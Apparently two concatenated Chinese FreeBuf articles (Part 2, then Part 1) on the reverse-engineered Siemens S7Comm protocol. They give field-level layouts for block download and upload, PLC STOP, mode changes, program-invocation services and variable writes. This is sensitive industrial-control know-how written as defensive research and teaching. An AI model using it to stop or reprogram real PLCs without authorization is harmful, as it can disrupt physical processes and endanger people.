*本文原创作者:LiukerTeam,本文属FreeBuf原创奖励计划文章,未经许可禁止转载

前言

随着网络强国、工业4.0,工控安全市场今年明显有相当大的改善,无论从政策还是客户需求,都在逐步扩大中。但是,搞工控安全研究的人员却寥寥无几,一方面,没有可以研究和学习的便利的环境;另一方面工控安全是个跨学课的技术,需要了解多方面的知识,有比较高的技术上的门槛。特别是工控系统中通信协议,在工控系统中通信协议存在众多标准,也存在众多私有协议,如果你有过使用组态软件的经历,你便会发现,在第一步连接设备时除连接设备的方式有以太网/串行等方式外,各家基本上都存在自己的私有通信协议。比如:西门子的是S7Comm协议。

上一篇文章《工控安全 | 西门子通信协议S7COMM(Part 1)》带来了西门子PLC系统构成S7协议结构TPKT协议COTP协议S7Comm协议五大块内容,本文紧接着上文中的S7Comm协议章节继续开展,没看过上一篇的小伙伴需要补补课哦,不然会不知所云~

5.2.4下载

下载是Step7发送块数据给PLC(图25)。在西门子设备上,程序代码和(大部分)程序数据存储在块中,这些块有自己的头和编码格式。

在西门子设备中有8种不同类型的功能块,具体的请参考6.7

这些块在上/下载请求中用特殊的ASCII文件名寻址。这个文件名的结构如下:

1 (1 byte): File identifier(ASCII),文件标识符。其有_ (Complete Module)、$ (Module header for up-loading)两种文件标识符;

2 (2 bytes): Block type,块类型。具体类型,请参考6.7

3 (5 bytes): Block number,块编号;

4 (1 byte): Destination filesystem(ASCII),目标的文件系统。其有三种文件系统:

P(Passive (copied, but not chained) module):被动文件系统

A (Active embedded module):主动文件系统

B (Active as well as passive module):既主既被文件系统

例如:文件名为_0A00001P(文件标识是_,块类型为DB,块的编号为00001,目标块的文件系统是P。),用于将DB 1复制到被动文件系统或从被动文件系统复制。

下载有3中不同的功能类型:

请求下载(Request download [0x1A])

下载块(Download block [0x1B])

下载结束(Download ended [0x1C])

在下载过程中,先是Step7向PLC发送一个请求下载的Job,PLC收到后则回复一个Ack_Data。在发送完所有字节后,Step7向PLC发送一个下载结束的Job来关闭下载会话。 时序图如下:

图25 下载时序图(图片来源:互联网)

图25 下载时序图(图片来源:互联网)

好了,开始介绍下载的结构啦!

如图26所示,即为一个完整的下载过程:

完整的下载过程

图26 一个完整的下载过程例子

5.2.4.1请求下载(Request download [0x1A])

先来介绍,当PDU类型为Job时,Request download [0x1A]没有Data,其Parameter的结构,如下:

1 (1 byte): Function Status,功能码状态;

2 (2 bytes): for all unknown bytes in blockcontrol;

3 (4 bytes): 无意义,一般为0x00000000;

4 (1 byte): filename length,文件名长度;

5 (? bytes): filename, default is 9 byte,文件名,长度一般为9个字节;

1 (1 byte): File identifier(ASCII),文件标识符。其有_ (Complete Module)、$ (Module header for up-loading)两种文件标识符;

2 (2 bytes): Block type,块类型。具体类型,请参考6.7

3 (5 bytes): Block number,块编号;

4 (1 byte): Destination filesystem(ASCII),目标的文件系统。其有P(Passive (copied, but not chained) module)、A (Active embedded module)、B (Active as well as passive module)三种文件系统;

6 (1 byte): Length part 2 in bytes,参数的第二部分长度,也就是接下来的字段长度;

7 (1 byte): Unknown char(ASCII);

8 (6 bytes): Length load memory in bytes(ASCII);

9 (6 bytes): Length of MC7 code in bytes(ASCII)。

其实就是告诉PLC要下载块。举个例子:

图27 请求下载_0800001P的作业请求

图27 请求下载_0800001P的作业请求

如图27所示,文件标识是_ (Complete Module),块类型为OB,块的编号为00001,目标块的文件系统是P (Passive (copied, but not chained) module),所以文件名为_0800001P。

那PDU类型为Ack_Data时,Request download [0x1A]的Parameter中只有一个function。下图即为图27的响应:

图28 请求下载_0800001P的确认数据响应

图28 请求下载_0800001P的确认数据响应

OK,请求下载完成后,接下来就可以Download block了!

5.2.4.2下载块(Download block [0x1B])

上面说了,下载是Step7发送块数据给PLC。

当PDU类型为Job时,Download block [0x1B]也没有Data,其Parameter的结构,如下:

1 (1 byte): Function Status,功能码状态;

2 (2 bytes): for all unknown bytes in blockcontrol;

3 (4 bytes): 无意义,一般为0x00000000;

4 (1 byte): filename length,文件名长度;

5 (? bytes): filename, default is 9 byte,文件名,长度一般为9个字节;

1 (1 byte): File identifier(ASCII),文件标识符。其有_ (Complete Module)、$ (Module header for up-loading)两种文件标识符;

2 (2 bytes): Block type,块类型。具体类型,请参考6.7

3 (5 bytes): Block number,块编号;

4 (1 byte): Destination filesystem(ASCII),目标的文件系统。其有P(Passive (copied, but not chained) module)、A (Active embedded module)、B (Active as well as passive module)三种文件系统;

是的,Download block [0x1B]的Parameter比Request download [0x1A]的Parameter的第一部分相同!

为了更好比较,举个例子:

图29 下载块_0800001P的作业请求

图29 下载块_0800001P的作业请求

上图是下载_0800001P的作业请求。

那PDU类型为Ack_Data时,Download block [0x1B]有Parameter和Data,其Parameter的结构,如下:

1 (1 byte): Function Status,功能码状态;

而其Data的结构,如下:

1 (Unsigned integer, 2 bytes): Length,数据长度;

2 (Unsigned integer, 2 bytes): Unknown byte(s) in blockcontrol,未知字节;

3 (Label,data_length-4 bytes): Data,数据;

下图即为图29的响应:

图30 下载块_0800001P的响应

图30 下载块_0800001P的响应

5.2.4.3下载结束(Download ended [0x1C])

当PDU类型为Job时,Download ended [0x1C]也没有Data,其Parameter的结构,如下:

1 (1 byte): Function Status,功能码状态;

2 (2 bytes): for all unknown bytes in blockcontrol;

3 (4 bytes): 无意义,一般为0x00000000;

4 (1 byte): filename length,文件名长度;

5 (? bytes): filename, default is 9 byte,文件名,长度一般为9个字节;

1 (1 byte): File identifier(ASCII),文件标识符。其有_ (Complete Module)、$ (Module header for up-loading)两种文件标识符;

2 (2 bytes): Block type,块类型。具体类型,请参考6.7

3 (5 bytes): Block number,块编号;

4 (1 byte): Destination filesystem(ASCII),目标的文件系统。其有P(Passive (copied, but not chained) module)、A (Active embedded module)、B (Active as well as passive module)三种文件系统;

是的,Download ended [0x1C]跟Download block [0x1B]的Parameter和Request download [0x1A]的Parameter的第一部分相同!

举个例子:

图31 结束下载_0800001P的作业请求

图31 结束下载_0800001P的作业请求

那PDU类型为Ack_Data时,Download ended [0x1C]的Parameter中只有一个function。下图即为图31的响应:

图32 结束下载_0800001P的响应

图32 结束下载_0800001P的响应

这样,整个下载过程就完成了!

下载到这就介绍完了,接着就介绍上传啦!

5.2.5上传

上传是PLC发送块数据给Step7(如图33)。

上传有3中不同的功能类型:

开始上传(Start upload [0x1D])

上传(Upload [0x1E])

上传结束(End upload [0x1F])

在上传过程中,先是Step7向PLC发送一个开始上传的Job,PLC收到后则回复一个Ack_Data,并告诉Step7块的长度、上传会话ID。然后PLC继续上传块数据到Step7,直到Step7收到所有字节。最后,Step7发送结束上传的作业请求来关闭上传会话。时序图如下:

图33 上传的时序图(图片来源:互联网)

图33 上传的时序图(图片来源:互联网)

好了,开始介绍上传的结构啦!

如图34所示,即为一个完整的下载过程:

图34 一个完整的上传过程例子

图34 一个完整的上传过程例子

5.2.5.1 开始上传(Start upload [0x1D])

先来介绍,当PDU类型为Job时,Start upload [0x1D]没有Data,其Parameter的结构,如下:

1 (1 byte): Function Status,功能码状态;

2 (2 bytes): for all unknown bytes in blockcontrol;

3 (4 bytes): 上传的会话ID,此时为0x00000000;

4 (1 byte): filename length,文件名长度;

5 (? bytes): filename, default is 9 byte,文件名,长度一般为9个字节;

1 (1 byte): File identifier(ASCII),文件标识符。其有_ (Complete Module)、$ (Module header for up-loading)两种文件标识符;

2 (2 bytes): Block type,块类型。具体类型,请参考6.7 功能块

3 (5 bytes): Block number,块编号;

4 (1 byte): Destination filesystem(ASCII),目标的文件系统。其有P(Passive (copied, but not chained) module)、A (Active embedded module)、B (Active as well as passive module)三种文件系统;

其实就是告诉PLC你上传的位置。举个例子:

图35 开始上传的作业请求

图35 开始上传的作业请求

如图35所示,文件标识是_ (Complete Module),块类型为0B(SDB),块的编号为00000,目标块的文件系统是A (Active embedded module),所以文件名为_0B00000A。

那PDU类型为Ack_Data时,Start upload [0x1D]的Parameter的结构,如下:

1 (1 byte): Function Status,功能码状态;

2 (2 bytes): for all unknown bytes in blockcontrol;

3 (4 bytes): 上传的会话ID,告诉Step7上传会话ID;

4 (Unsigned integer, 1 byte): Blocklengthstring Length;

5 (Character string): Blocklength,块的长度;

下图即为图35的响应:

图36开始上传的响应

图36开始上传的响应

图36中,其上传会话ID为0×00000007。

5.2.5.2 上传(Upload [0x1E])

上面说了,上传是PLC发送块数据给Step7。

当PDU类型为Job时,Upload [0x1E]也没有Data,其Parameter的结构,如下:

1 (1 byte): Function Status,功能码状态;

2 (2 bytes): for all unknown bytes in blockcontrol;

3 (4 bytes): 上传的会话ID,告诉Step7上传会话ID;

为了更好比较,举个例子:

图37 上传的作业请求

图37 上传的作业请求

那PDU类型为Ack_Data时,Upload [0x1E]有Parameter和Data,其Parameter的结构,如下:

1 (1 byte): Function Status,功能码状态;

而其Data的结构,如下:

1 (Unsigned integer, 2 bytes): Length,数据长度;

2 (Unsigned integer, 2 bytes): Unknown byte(s) in blockcontrol,未知字节;

3 (Label,data_length-4 bytes): Data,数据;

下图即为图37的响应:

图38 上传的确认数据响应

图38 上传的确认数据响应

5.2.5.3 上传结束(End upload [0x1F])

上传结束的过程,即为所有数据上传完成后,Step7发送结束上传的作业请求,PLC收到后就关闭会话,然后返回一个响应。

当PDU类型为Job时,End upload [0x1F]也没有Data,其Parameter的结构,如下:

1 (1 byte): Function Status,功能码状态;

2 (2 bytes): Error code,错误代码:

详细的Error code,参考6.1.2 Error code in parameter part

3 (4 bytes): 上传的会话ID,告诉Step7上传会话ID;

举个例子:

图39 上传结束的作业请求

图39 上传结束的作业请求

那PDU类型为Ack_Data时,End upload [0x1F]的Parameter中只有一个function。

图40所示,即为图39的响应:

图40 上传结束的响应

图40 上传结束的响应

这样,整个上传过程就完成了!

5.2.6 程序调用服务(PI service [0x28])

程序调用是用于在PLC执行修改执行/内存状态的日常工作。这些命令可以用于启动或停止PLC控制程序、激活或删除程序块。

当PDU类型为Job时,PI service [0x28]没有Data,只有Parameter,那Parameter的结构,如下:

1 (7 bytes): Unknown;

2 (Unsigned integer, 2 bytes): Parameter block length;

3 (?bytes): Parameter block,参数;

4 (Unsigned integer, 1 byte):String length,PI service的字符串长度;

5 (Character string, ASCII):PI (program invocation) Service name,程序调用服务名,参考6.8 程序调用服务名(PI service names)

Parameter包含两个主要部分:

服务名称

参数:取决于方法类型,可以将它们看作是它的参数

服务名称及其相关参数的示例:

_INSE:激活设备上下载的块,参数是块的名称(比如:OB 1)。

_DELE:从设备的文件系统中删除一个块,该参数也是该块的名称。

P_PROGRAM:设置设备的运行状态(启动、停止、复位)。

_GARB:压缩PLC内存。

_MODU:将ram复制到ROM,参数包含文件系统标识符(A/E/P)。

如果服务调用的参数是块的话,那么Parameter block的结构如下:

1 (1 byte): Number of block;

2 (1 byte): Unknown,默认为0x00;

3 (? bytes): filename,文件名:

1 (2 bytes, ASCII): Block type,块类型。具体类型,请参考6.7 功能块

2 (5 bytes, ASCII): Block number,块编号;

3 (1 byte, ASCII): Destination filesystem(ASCII),目标的文件系统。其有P(Passive (copied, but not chained) module)、A (Active embedded module)、B (Active as well as passive module)三种文件系统;

举个例子,如图41所示:

图41 _INSE(激活PLC模块)的作业请求

图41 _INSE(激活PLC模块)的作业请求

上图可知服务名称是_INSE,参数是0B0004P(SDB4),那么它的作业请求是激活PLC中SDB 4,那么它的请求响应又是如何呢?如图42所示:

图42 _INSE(激活PLC模块)的响应

图42 _INSE(激活PLC模块)的响应

而另一种情况,如图43所示:

图43_MODU(复制RAM到ROM)的作业请求

图43_MODU(复制RAM到ROM)的作业请求

上图中,其Parameter block中只有Argument。

5.2.7 PLC STOP [0x29]

PLC STOP 基本上跟5.2.6 程序调用服务(PI service [0x28])一致,唯一的区别就是它没有Parameter block,而它的PI service为P_PROGRAM。搞不明白为啥单独占用一个功能码~~~

看个例子吧,如图44所示:

图44 PLC STOP的作业请求

图44 PLC STOP的作业请求

到此为此JOB和ACK_DATA类型下的功能码都介绍完了,接下来介绍S7commm协议的扩展。

5.3 协议拓展(Userdata)

上面介绍了S7Comm的JOB和ACK_DATA两个PDU类型,那接着将介绍PDU类型是UserData的内容,它用于编程/调试、读取SZL、安全功能、时间设置,循环读取等,可以说是S7Comm中最复杂的一部分。

大家不要慌哈,Are u ready?

Okay,当PDU类型为UserData时,其S7Comm结构,如图45所示:

图45 S7Comm的结构(UserData)

图45 S7Comm的结构(UserData)

图45中蓝色部分为S7Comm头部,橘色为Parameter部分,具体的Parameter结构如下:

1 (3 bytes):参数头(Parameter head);

2 (1 byte):参数长度(Parameter length),它的可能是8字节或12字节;

3 (1 byte):未知定义;

4 (1/2 byte,高位):参数类型(Type),常见的类型可参考《6.9 拓展协议的参数类型》

5 (1/2 byte,Low nibble):功能组(Function group),常见的功能组可参考《6.10 拓展协议的功能组》

6 (1 byte):子功能码(SubFunction);

7 (1 byte):序号。

接着就是一一介绍各个功能组。

5.3.1 转换工作模式(Mode-transition [0x0])

当功能组为转换工作模式(Mode-transition)时,请求报文中是没有Data部分的,而主要起作用的是子功能码(Subfunction),常见的子功能码有:

STOP(0x00):STOP模式;

Warm Restart(0x01):暖启动;

RUN(0x02):RUN模式;

Hot Restart(0x03):热启动;

HOLD(0x04):HOLD模式;

Cold Restart(0x06):冷启动;

RUN_R (H-System redundant)(0x09):H-System冗余运行;

LINK-UP(0x0B):LINK-UP模式;

UPDATE(0x0C):UPDATE模式。

关于暖启动、冷启动、热启动的区别可参考:S7-400 CPU 启动(暖启动),冷启动和热启动的区别是什么? – ID: 34053758 – Industry Support Siemens,至于冗余可参考: 何为冗余-找答案-工业支持中心-西门子(中国)有限公司(SLC)

来看个栗子消化一下吧,如图46所示:

图46 工作模式转换为暖启动

图46 工作模式转换为暖启动

如图46中绿色部分为参数类型(Type)和功能组(Function group),蓝色框内容是子功能码(SubFunction),值是0×01,即为暖启动。

5.3.2 程序员命令(Programmer commands [0x1])

程序员命令(Programmer commands)主要是工程师用于编程或调试,比如:监视/修改变量、读取修改诊断数据。所有的子功能码有:

请求诊断数据(Request diag data (Type 1)):0x01;

变量表(VarTab):0x02;

读取诊断数据(Read diag data):0x0c;

移除诊断数据(Remove diag data):0x0e;

清除(Erase):0x0f;

强制(Forces):0x10;

请求诊断数据(Request diag data (Type 2)):0x13;

这里的请求报文和响应报文都和图45有点不一样,具体如图47所示:

图47 功能码组为Programmer commands的报文结构

图47 功能码组为Programmer commands的报文结构

下面以变量表为例,变量表如图48所示:

图48 变量表

图48 变量表

如果对 DB100.DBW 2进行监视,那么他的请求报文如图49所示:

图49 监视变量表的请求报文

图49 监视变量表的请求报文

图49中的Header、Parameter在前面已经介绍了,重点介绍Data部分的结构,请求报文的结构如下:

1 (1 byte) : 返回码,具体的可参考6.6.1

2 (1 byte) :Transport sizes,指的数据类型,通常有bit、byte等,具体可参考6.4.2

3 (2 bytes) : 往后的数据长度,如图49为32个字节;

4 (1 byte) : Unknown;

5 (1 byte) : 报文类型(type of data),分为请求(0x14)、响应(0x04);

6 (2 bytes) : Item count和Item data的长度(Byte count);

7 (20bytes) : Unknown;

8 (2bytes) : Item个数;

9 (varibalebytes) : Item 1;

1 (1 byte) : 区域(Area);

2 (1 byte) : 长度(Length (repetition factor));

3 (2 bytes) : 模块号(DB number);

4 (2 bytes) : 偏移地址(Startaddress)。

...

n (varibalebytes) : Item n;

响应报文跟请求非常的像,但是还是有所不一样,响应报文结构如下:

1 (1 byte) : 返回码,具体的可参考6.6.1

2 (1 byte) :数据类型(Transport sizes),通常有bit、byte等,具体可参考6.4.2

3 (2 bytes) : 往后的数据长度,如图49为32个字节;

4 (1 byte) : Unknown;

5 (1 byte) : 报文类型(type of data),分为请求(0x14)、响应(0x04);

6 (2 bytes) : Item count和Item data的长度(Byte count);

7 (4bytes) : Unknown;

8 (2bytes) : Item个数;

9 (varibalebytes) : Item 1;

1 (1 byte) : 返回码,具体的可参考6.6.1

2 (1 byte) :数据类型(Transport sizes),通常有bit、byte等,具体可参考6.4.2

3 (2 bytes) : 往后的数据长度;

4 (varibale bytes) : Data。

...

n (varibalebytes) : Item n;

图50 监视变量表的响应报文

从图50中,得知DB100.DBW 2的值是61a8。

其它的子功能都比监视/修改变量表(VarTab)简单,在这就不一一介绍了,感兴趣的可以去研究研究。

未完待续~

*本文原创作者:LiukerTeam,本文属FreeBuf原创奖励计划文章,未经许可禁止转载

*本文原创作者:LiukerTeam,本文属FreeBuf原创奖励计划文章,未经许可禁止转载

随着网络强国、工业4.0,工控安全市场今年明显有相当大的改善,无论从政策还是客户需求,都在逐步扩大中。但是,搞工控安全研究的人员却寥寥无几,一方面,没有可以研究和学习的便利的环境;另一方面工控安全是个跨学课的技术,需要了解多方面的知识,有比较高的技术上的门槛。特别是工控系统中通信协议,在工控系统中通信协议存在众多标准,也存在众多私有协议,如果你有过使用组态软件的经历,你便会发现,在第一步连接设备时除连接设备的方式有以太网/串行等方式外,各家基本上都存在自己的私有通信协议。比如:西门子的是S7Comm协议。

所以,本文主要介绍西门子的S7Comm协议(适用于S7-300、S7-400、S7-1200)。本文中S7Comm协议结构都是逆向而来,如有错误之处,请拍砖。

一、西门子PLC系统构成

在介绍西门子S7Comm协议,首先得明白西门子PLC的大概构造。虽然我们不必像专门编写PLC程序员那样。下图1就是一个组态完毕的西门子S7 300的模型:

siemens-s7-300.jpg图1 西门子S7-300

根据标号,各模块分别是:

1.电源模块(PS),供电专用

2.CPU模块(CPU),负责处理信息

3.通信模块(IM)

4.数字量输入模块(DI)

5.数字量输出模块(DO)

6.模拟量输入模块(AI)

7.模拟量输出模块(AO)

想具体了解的,请阅读西门子S7-300教程 第2章

二、S7协议结构

S7Comm(S7 Communication)是西门子专有的协议,是西门子S7通讯协议簇里的一种。

S7协议的TCP/IP实现依赖于面向块的ISO传输服务。S7协议被封装在TPKT和ISO-COTP协议中,这使得PDU(协议数据单元)能够通过TCP传送。

它用于PLC编程,在PLC之间交换数据,从SCADA(监控和数据采集)系统访问PLC数据以及诊断目的。

S7Comm以太网协议基于OSI模型:

OSI layer Protocol
7 Application Layer S7 communication
6 Presentation Layer S7 communication (COTP)
5 Session Layer S7 communication (TPKT)
4 Transport Layer ISO-on-TCP (RFC 1006)
3 Network Layer IP
2 Data Link Layer Ethernet
1 Physical Layer Ethernet

其中,第1-4层会由计算机自己完成(底层驱动程序),关于这些神马的定义,大家可以上网查一下;

第5层TPKT,应用程数据传输协议,介于TCP和COTP协议之间。这是一个传输服务协议,主要用来在COTP和TCP之间建立桥梁;

第6层COTP,按照维基百科的解释,COTP 是 OSI 7层协议定义的位于TCP之上的协议。COTP 以“Packet”为基本单位来传输数据,这样接收方会得到与发送方具有相同边界的数据;

第7层,S7 communication,这一层和用户数据相关,对PLC数据的读取报文在这里完成。

可能会对TPKT和COPT迷惑,其实在具体的报文中,TPKT的作用是包含用户协议(5~7层)的数据长度(字节数);COTP的作用是定义了数据传输的基本单位(在S7Comm中 PDU TYPE:DT data)。

s7comm-osi.png

图2 S7Comm协议OSI模型

三、TPKT协议

TPKT协议是应用程数据传输协议,介于TCP和COTP协议之间。这是一个传输服务协议,主要用来在COTP和TCP之间建立桥梁。

其英文介绍如下:

TPKT is an “encapsulation” protocol. It carries the OSI packet in its own packet’s data payload and then passes the resulting structure to TCP, from then on, the packet is processed as a TCP/IP packet. The OSI programs passing data to TPKT are unaware that their data will be carried over TCP/IP because TPKT emulates the OSI protocol Transport Service Access Point(TSAP).

TPKT结构如图3:

tptk-structure.png

图3 TPKT协议结构

其中,TPKT的结构为:

0 (Unsigned integer, 1 byte): Version,版本信息。

1 (Unsigned integer, 1 byte): Reserved,保留(值为0×00)。

2-3 (Unsigned integer, 2 bytes): Length,TPKT、COTP、S7三层协议的总长度,也就是TCP的payload的长度。

举个例子,如图4所示:

tpkt-example.jpg

图4 一个TPKT的例子

从图4中可知,其version=3,length=25(0×0019)。

四、COTP协议

COTP(ISO 8073/X.224 COTP Connection-Oriented Transport Protocol)是OSI 7层协议定义的位于TCP之上的协议。COTP以“Packet”为基本单位来传输数据,这样接收方会得到与发送方具有相同边界的数据。

COTP协议分为两种形态,分别是COTP连接包(COTP Connection Packet)和COTP功能包(COTP Fuction Packet)。

4.1 COTP Connection Packet

COTP连接包(COTP Connection Packet)也就是S7Comm的握手包,其格式如图5所示。

cotp-connection-structure.png

图5 COTP连接包的结构

其中, COTP连接包的头结构为:

0 (Unsigned integer, 1 byte): Length,COTP后续数据的长度(注意:长度不包含length的长度),一般为17 bytes。

1 (Unsigned integer, 1 byte): PDU typ,类型有:

0×1: ED Expedited Data,加急数据

0×2: EA Expedited Data Acknowledgement,加急数据确认

0×4: UD,用户数据

0×5: RJ Reject,拒绝

0×6: AK Data Acknowledgement,数据确认

0×7: ER TPDU Error,TPDU错误

0×8: DR Disconnect Request,断开请求

0xC: DC Disconnect Confirm,断开确认

0xD: CC Connect Confirm,连接确认

0xE: CR Connect Request,连接请求

0xF: DT Data,数据传输

2~3 (Unsigned integer, 2 bytes): Destination reference.

4~5 (Unsigned integer, 2 bytes): Source reference.

6 (1 byte): opt,其中包括Extended formats、No explicit flow control,值都是Boolean类型。

7~? (length-7 bytes, 一般为11 bytes): Parameter,参数。一般参数包含Parameter code(Unsigned integer, 1 byte)、Parameter length(Unsigned integer, 1 byte)、Parameter data三部分。

算了,还是来个例子,更加明了:

cotp-connection-request.jpg

图6 连接请求包

图6中,PDU类型为连接请求(0x0e),表示该数据包是一个连接请求包。为了更好对比,图7为图6的连接请求的响应包:

cotp-connection-confirm.jpg

图7 连接确认包

4.2 COTP Fuction Packet

相对而言,COTP Fuction Packet比COTP Connection Packet简单多了,其结构如图8所示:

cotp-fuction-structure.png

图8 COTP功能包的格式

其中, COTPP功能包的头结构为:

0 (Unsigned integer, 1 byte): Length,COTP后续数据的长度(注意:长度不包含length的长度),一般为2 bytes。

1 (Unsigned integer, 1 byte): PDU type,类型有:

0×1: ED Expedited Data,加急数据

0×2: EA Expedited Data Acknowledgement,加急数据确认

0×4: UD,用户数据

0×5: RJ Reject,拒绝

0×6: AK Data Acknowledgement,数据确认

0×7: ER TPDU Error,TPDU错误

0×8: DR Disconnect Request,断开请求

0xC: DC Disconnect Confirm,断开确认

0xD: CC Connect Confirm,连接确认

0xE: CR Connect Request,连接请求

0xF: DT Data,数据传输

2 (1 byte): opt,其中包括Extended formats、No explicit flow control,值都是Boolean类型。

举个例子,如图9所示:

cotp-dt-data.jpg

图9 数据传输包

上图中,PDU类型为连接请求(0x0f),表示该数据包是一个数据传输的包。

OK,COTP的两中结构介绍完了,接下来的S7Comm协议才是本文的重点。

五、S7Comm协议

上面,介绍了TPKT和COTP协议,现在开始介绍S7Comm协议,Are u ready?

S7Comm数据作为COTP数据包的有效载荷,第一个字节总是0×32作为协议标识符。

S7Comm协议包含三部分:

Header

Parameter

Data

s7comm-structure.png

图10 S7Comm协议结构

根据实现的功能不同,S7 comm协议的结构会有所不同。

5.1 S7Comm Header

S7Comm的头,定义了该包的类型、参数长度、数据长度等,其结构如图11所示:

s7comm-header-structure.png

图11 S7Comm Header结构

所以,S7Comm Header的格式为:

0 (unsigned integer, 1 byte): Protocol Id,协议ID,通常为0×32;

1 (unsigned integer, 1 byte): ROSCTR,PDU type,PDU的类型,一般有以下值:

0×01 – JOB(Request: job with acknowledgement):作业请求。由主设备发送的请求(例如,读/写存储器,读/写块,启动/停止设备,设置通信);

0×02 – ACK(acknowledgement without additional field):确认响应,没有数据的简单确认(未遇到过由S7 300/400设备发送得);

0×03 – ACK_DATA(Response: acknowledgement with additional field):确认数据响应,这个一般都是响应JOB的请求;

0×07 – USERDATA:原始协议的扩展,参数字段包含请求/响应ID(用于编程/调试,读取SZL,安全功能,时间设置,循环读取…)。

2~3 (unsigned integer, 2 bytes): Redundancy Identification (Reserved),冗余数据,通常为0×0000;

4~5 (unsigned integer, 2 bytes): Protocol Data Unit Reference,it’s increased by request event。协议数据单元参考,通过请求事件增加;

6~7 (unsigned integer, 2 bytes): Parameter length,the total length (bytes) of parameter part。参数的总长度;

8~9 (unsigned integer, 2 bytes): Data length,数据长度。如果读取PLC内部数据,此处为0×0000;对于其他功能,则为Data部分的数据长度;

来看一个例子解释一下,如图12所示:

s7comm-header-1.jpg

图12 一个S7Comm头结构的例子

其中最重要的字段就是ROSCTR,它决定了后续参数的结构,这个后面的章节中有详细的介绍。

在响应数据包中,还有可能存在错误信息。就拿图12为例,如果出错了,其响应包如图13所示:

s7comm-header-2.jpg

图13 带有错误信息的响应包

其错误信息结构为:

10 (unsigned integer, 1 bytes): Error class,错误类型:

其详细的Error class,参考6.1.1 头结构的错误类型

11 (unsigned integer, 1 bytes): Error code,错误代码;

由此,可见图13的错误类型是No error,至于错误代码,啥含义我也母知道。

为了更好理解,接下来就不按照Parameter、Data的顺序介绍,而是按照PDU类型进行介绍,尿急的赶紧上厕所哈!

5.2 作业请求(Job)和确认数据响应(Ack_Data)

上面介绍了S7Comm PDU的结构和通用协议头其头部结构。

S7Comm中Job和Ack_Data中的Parameter项的第一个字段是function(功能码),其类型为Unsigned integer,大小为1 byte,其详细的功能码,请参考6.2.1 Job和Ack_Data的功能码。决定了其余字段的结构、消息的目的。

所以接下来,将进一步介绍各功能码对应的结构和作用。

5.2.1 建立通信(Setup communication [0xF0])

建立通信在每个会话开始时被发送,然后可以交换任何其他消息。它用于协商ACK队列的大小和最大PDU长度,双方声明它们的支持值。ACK队列的长度决定了可以同时启动而不需要确认的并行作业的数量。PDU和队列长度字段都是大端。

先说Job吧!当PDU类型为Job时,建立通信功能中Parameter的结构,如下图:

s7comm-setup-communication-job.png

图14 S7comm的结构(建立通信的作业请求)

具体的Parameter结构,如下:

1 (Unsigned integer, 1 byte): Parameter part: Reserved byte in communication setup pdu,保留字节;

2 (Unsigned integer, 2 bytes): Max AmQ (parallel jobs with ack) calling;

3 (Unsigned integer, 2 bytes): Max AmQ (parallel jobs with ack) called;

4 (Unsigned integer, 2 bytes): Parameter part: Negotiate PDU length。协商PDU长度。

举个例子:

s7comm-setup-communication-job.jpg

图15 建立通信的请求

那么其确认响应的结构如何呢?跟请求时一样的,如图14所示。那么图16为图15的确认响应:

s7comm-setup-communication-ack_data.jpg

图16 建立通信的确认响应

如图15、16所示,其协商结果为:ACK队列的大小为1;最大PDU长度为240。

5.2.2 读取值(Read Var [0x04])

数据读写操作通过指定变量的存储区域(参考6.3 区域(Area names)),地址(偏移量)及其大小或类型(参考6.4.1 Transport sizes in item data)来执行。

先说Job吧!当PDU类型为Job时,那么其S7Comm结构,如图17所示:

s7comm-read-var-job.png

图17  S7comm的结构(读取值的作业请求)

所以,接下来的Parameter字段是item count(项目个数),其类型为Unsigned integer,大小为1 byte。

那么一个item的结构是咋样的呢?如下(图17中item1):

0 (Unsigned integer, 1 byte): Variable specification,确定项目结构的主要类型,通常为0×12,代表变量规范;

1 (Unsigned integer, 1 byte): Length of following address specification,本Item其余部分的长度;

2 (Unsigned integer, 1 byte): Syntax Ids of variable specification,确定寻址模式和其余项目结构的格式;

其详细的Syntax Id,参考6.5 Syntax Ids of variable specification

3(Unsigned integer, 1 byte): Transport sizes in item data,确定变量的类型和长度:

其详细的Transport size,参考6.4.1 transport sizes in item data

4~5 (Unsigned integer ,2 byte): Request data length,请求的数据长度;

6~7 (Unsigned integer, 2 byte): DB number,DB模块的编号,如果访问的不是DB区域,此处为0×0000;

8 (Unsigned integer, 1 byte):: Area,区域类型:

其详细的区域类型,参考6.3 区域(Area names)

9~11(Unsigned integer, 3 byte): Address,地址。

头晕了吧?哈哈哈~~先举个例子:

s7comm-read-var-job.jpg

图18 读值操作的作业请求

图17中item1是读取DB1的0×000010(DB1.DBX 2.0 BIT 1)值,并且类型为BIT的请求。

PDU类型为Job时,S7Comm结构介绍完了,那PDU类型为Ack_Data时,其S7Comm的结构如何呢?

s7comm-read-var-ack-data.png

图19  S7comm的结构(读取值的确认数据响应)

是的,其Parameter只有function、item count两个字段。

继续,那么接下来的是Data啦!其结构如下:

0 (Unsigned integer, 1 byte): Return code,返回代码:

详细的Return code,请参考6.6.1 Return values of an item response

1 (Unsigned integer, 1 byte): Transport size,数据的传输尺寸:

其详细的Transport size,参考6.4.2 Transport sizes in data

2~3 (Unsigned integer, 2 bytes): Length,数据的长度;

4~4+length (?): Data,数据;

? (Unsigned integer, 1 byte): Fill byte,填充字节。

继续看图18响应的数据包,如图20所示:

s7comm-read-var-ack_data.jpg

图20 读值操作的确认数据响应

图20中,item1是读取DB1的0×000010(DB1.DBX 2.0 BIT 1)值,并且类型为BIT的响应,其响应的数据为01

5.2.3 写入值(Write Var [0x05])

Write Var中Parameter的结构跟5.2.2 读取值(Read Var[0x04])一样,但是Write Va还需写入值,所以Write Var比Read Var多Data项。结构如下:

s7comm-write-var-job.png

图21 S7comm的结构(写入值的作业请求)

由此,Data的结构为:

0 (Unsigned integer, 1 byte): Return code,返回代码,这里是未定义,所以为Reserved(0×00);

1 (unsigned integer, 1 byte): Transport size,确定变量的类型和长度:

详细的Transport size,参考6.4.2 Transport sizes in data

2-3 (unsigned integer, 2 bytes): Length,写入值的数据长度;

4 (1 byte): Data,写入的值;

5 (unsigned integer, 1 byte): Fill byte,填充字节,如果数据的长度不足Length的话,则填充;

举个例子:

s7comm-write-var-job.jpg

图22 向地址为0×000008的Flags(M)写入0×00的作业请求

图22中,是一个向地址为0×000008的Flags(M)写入0×00的作业请求。

那PDU类型为Ack_Data时,其S7Comm的结构如何呢?

s7comm-write-var-ack-data.png

图23 S7comm的结构(写入值的确认数据响应)

对的,Parameter也只有function、item count两个字段。而Data中也只有一个Return code字段,其结构如下:

0 (Unsigned integer, 1 byte): Return code,返回代码:

详细的Return code,请参考6.6.1 Return values of an item response

继续看图22的响应数据包,如图24所示:

s7comm-write-var-ack-data.jpg

